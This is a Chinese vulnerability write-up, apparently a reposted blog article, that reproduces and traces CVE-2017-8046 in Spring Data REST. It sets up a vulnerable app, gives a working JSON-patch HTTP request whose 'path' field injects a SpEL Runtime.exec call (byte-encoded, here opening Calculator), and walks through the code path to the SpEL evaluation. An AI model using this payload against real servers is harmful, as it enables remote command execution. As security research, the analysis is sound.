环境搭建

使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

之前尝试搭建了另一个验证环境,但是修改版本后加载一直报错,不知道是什么原因,写完在研究下。

直接运行,默认端口8080,访问http://localhost:8080/

people类有两个属性,firstName和lastName

 1 package hello;
 2
 3 import javax.persistence.Entity;
 4 import javax.persistence.GeneratedValue;
 5 import javax.persistence.GenerationType;
 6 import javax.persistence.Id;
 7
 8 @Entity
 9 public class Person {
10
11     @Id
12     @GeneratedValue(strategy = GenerationType.AUTO)
13     private long id;
14
15     private String firstName;
16     private String lastName;
17
18     public String getFirstName() {
19         return firstName;
20     }
21
22     public void setFirstName(String firstName) {
23         this.firstName = firstName;
24     }
25
26     public String getLastName() {
27         return lastName;
28     }
29
30     public void setLastName(String lastName) {
31         this.lastName = lastName;
32     }
33 }

根据rest api规定,用POST请求新建一个people,请求如下

POST /people HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32

{"firstName":"w","lastName":"q"}

此时已创建一个people对象,通过GET请求可以访问对象

漏洞复现

需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

1、请求头为Content-Type: application/json-patch+json

2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割

这样我们就可以构造payload了

PATCH /people/1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 256

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

参数path存在代码注入,可执行系统命令,这里运行的命令是open /Applications/Calculator.app,成功弹出计算器

漏洞分析

入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()

通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判断方法是

1 public boolean isJsonPatchRequest() {
2     // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
3     return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
4 }

所以这就要求我们使用PATCH方法时,contentType要为application/json-patch+json。

继续跟踪进入到applyPatch()方法中:

1 <T> T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

继续跟踪进入到getPatchOperations()中:

1 private Patch getPatchOperations(InputStream source) {
2     try {
3         return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
4     } catch (Exception o_O) {
5         throw new HttpMessageNotReadableException(
6                 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
7     }
8 }

利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法

 1 public Patch convert(JsonNode jsonNode) {
 2         if (!(jsonNode instanceof ArrayNode)) {
 3             throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
 4         } else {
 5             ArrayNode opNodes = (ArrayNode)jsonNode;
 6             List<PatchOperation> ops = new ArrayList(opNodes.size());
 7             Iterator elements = opNodes.elements();
 8
 9             while(elements.hasNext()) {
10                 JsonNode opNode = (JsonNode)elements.next();
11                 String opType = opNode.get("op").textValue();
12                 String path = opNode.get("path").textValue();
13                 JsonNode valueNode = opNode.get("value");
14                 Object value = this.valueFromJsonNode(path, valueNode);
15                 String from = opNode.has("from") ? opNode.get("from").textValue() : null;
16                 if (opType.equals("test")) {
17                     ops.add(new TestOperation(path, value));
18                 } else if (opType.equals("replace")) {
19                     ops.add(new ReplaceOperation(path, value));
20                 } else if (opType.equals("remove")) {
21                     ops.add(new RemoveOperation(path));
22                 } else if (opType.equals("add")) {
23                     ops.add(new AddOperation(path, value));
24                 } else if (opType.equals("copy")) {
25                     ops.add(new CopyOperation(path, from));
26                 } else {
27                     if (!opType.equals("move")) {
28                         throw new PatchException("Unrecognized operation type: " + opType);
29                     }
30
31                     ops.add(new MoveOperation(path, from));
32                 }
33             }
34
35             return new Patch(ops);
36         }
37     }

convert()方法返回Patch()对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch中,

1 public Patch(List<PatchOperation> operations) {
2     this.operations = operations;
3 }

通过上一步地分析,ops是一个List<PatchOperation>对象,每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况

1 public PatchOperation(String op, String path, Object value) {
2
3     this.op = op;
4     this.path = path;
5     this.value = value;
6     this.spelExpression = pathToExpression(path);
7 }

进入到pathToExpression()中

1 public static Expression pathToExpression(String path) {
2     return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
3 }

可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。

 1 private static String pathToSpEL(String path) {
 2     return pathNodesToSpEL(path.split("\\/"));          // 使用/分割路径
 3 }
 4
 5 private static String pathNodesToSpEL(String[] pathNodes) {
 6     StringBuilder spelBuilder = new StringBuilder();
 7     for (int i = 0; i < pathNodes.length; i++) {
 8         String pathNode = pathNodes[i];
 9         if (pathNode.length() == 0) {
10             continue;
11         }
12         if (APPEND_CHARACTERS.contains(pathNode)) {
13             if (spelBuilder.length() > 0) {
14                 spelBuilder.append(".");            // 使用.重新组合路径
15             }
16             spelBuilder.append("$[true]");
17             continue;
18         }
19         try {
20             int index = Integer.parseInt(pathNode);
21             spelBuilder.append('[').append(index).append(']');
22         } catch (NumberFormatException e) {
23             if (spelBuilder.length() > 0) {
24                 spelBuilder.append('.');
25             }
26             spelBuilder.append(pathNode);
27         }
28     }
29     String spel = spelBuilder.toString();
30     if (spel.length() == 0) {
31         spel = "#this";
32     }
33     return spel;
34 }

重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中,

1 T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中,

1 <T> void perform(Object target, Class<T> type) {
2     setValueOnTarget(target, evaluateValueFromTarget(target, type));
3 }
4
5 protected void setValueOnTarget(Object target, Object value) {
6     spelExpression.setValue(target, value);
7 }

在setValueOnTarget()中会调用spelExpression对spel表示式进行解析,从而触发漏洞。

漏洞验证

明天用pocsuite写下poc,现在困了。

转载于:https://www.cnblogs.com/co10rway/p/9380441.html

CVE-2017-8046 复现与分析相关推荐

  1. MS17-010(永恒之蓝)漏洞复现和分析

    MS17-010(永恒之蓝)漏洞复现和分析 一.漏洞简介 1.永恒之蓝介绍: 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含&q ...

  2. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

    年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 --from Lyricbao 0x00 复现环境 phpstudy wordpress 4.4版本 Q ...

  3. APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 相关的重点类和方法: org.apache.xmlrpc.parser.SerializableP ...

  4. Gartner 发布2017 年商业智能和分析平台魔力象限 Tableau 获“领先者”

    近日,Gartner发布其2017 年商业智能和分析平台魔力象限报告,Tableau 获评为"领先者". 这份年度报告根据 15 项关键能力指标对 包括微软.Qlik.SAP.SA ...

  5. java导入excel组件_三十五、Java中常见解析Excel引入的XXE组件复现与分析

    实验准备 1)在实验开始之前,我们已经在C盘根目录准备好了实验需要用到的POC验证excel文件,如下: 注:实验环境中没有安装Excel不能直接创建,方法供参考. 新建excel文件 test1.x ...

  6. ABAQUS 2017高级仿真实例分析CAE视频教程

    ABAQUS 2017高级仿真实例分析CAE视频教程 链接:https://pan.baidu.com/s/1JC4Ngu-CNMZeYNRPropf-Q 提取码:6fyh

  7. [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了Vulnhub靶机渗透的DC-1题目,通过信息收集.CMS漏洞搜索.D ...

  8. fastjson 1.22-1.24 漏洞复现与分析

    fastjson 1.22-1.24 漏洞复现与分析 前言 QAQ,感觉自己啥也不会,要好好努力学习了.但是由于本人遗忘度很大,因此要记下来学习QAQ. 概念 RMI(Remote Method In ...

  9. 数据猿·金猿榜丨2017中国用户行为分析领域最具潜力创业公司

    [数据猿导读] "2017中国用户行为分析领域最具潜力创业公司"盘点源于数据猿推出的"金猿榜"系列内容,旨在通过媒体的方式与原则,发掘大数据领域最具潜力的创新型 ...

  10. 《老漏洞复现与分析篇》 - 其一 - shift后门

    引言 因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个"老"字,整一点多年前的老漏洞拿来复现和分析.俗话说 ...

最新文章

  1. c++中的auto关键字
  2. 第三代测序平台简介-单分子实时测序
  3. u盘复制不进去东西_限制电脑只能识别自己指定的U盘
  4. 获取inout框中未改变值的数据_数据分析10——数据分析的基本过程(02)
  5. [Qt教程] 第33篇 网络(三)FTP(一)
  6. Linux系统可卸载内核模块完全指南(上)
  7. 消息中间件学习总结(21)——RocketMQ 消息丢失场景分析及如何解决!
  8. IE下,拖动grid的分隔栏,报getBoundingClientRect错误解决办法
  9. Storm【实践系列-如何写一个爬虫-】6 URLInjector
  10. IE安全系列:脚本先锋(IV)—网马中的Shellcode
  11. php cms下载地址,phpcms将下载地址替换为图片显示
  12. Skyline三维地理信息系统软件平台
  13. 相似度计算之Jaccard系数
  14. python中写sql语句添加for循环和变量。(一种SQL引入循环的思想实现)
  15. 香农公式和奈氏准则描述的是同一个东西吗?
  16. 一个简单的wifi热点启动流程追踪
  17. 1万人游戏服务器多少钱?
  18. 排序不等式的两种证明方法
  19. 压枪源码,移动鼠标源码,监听鼠标源码,控制鼠标移动源码,控制鼠标移动脚本
  20. LeetCode 127. 单词接龙(C++)*

热门文章

  1. 面试题之Java中线程的几种状态
  2. RabbitMQ消息确认机制之Confirm模式总结
  3. spring扩展点五:factoryBean的使用
  4. Java多线程之FutureTask
  5. IEEE-SA董事刘东:开放+开源将带来新一波SDNFV创新
  6. 一个示例让你明白界面与数据分离
  7. linux从字符界面转入图形界面一法
  8. android nsd和udp广播,android - 调用resolveService时,NSD在DiscoveryListener回调中缺少NSDManager - 堆栈内存溢出...
  9. Eclipse创建并运行Java程序输出Hello World
  10. nodejs后台系列--第四篇--koa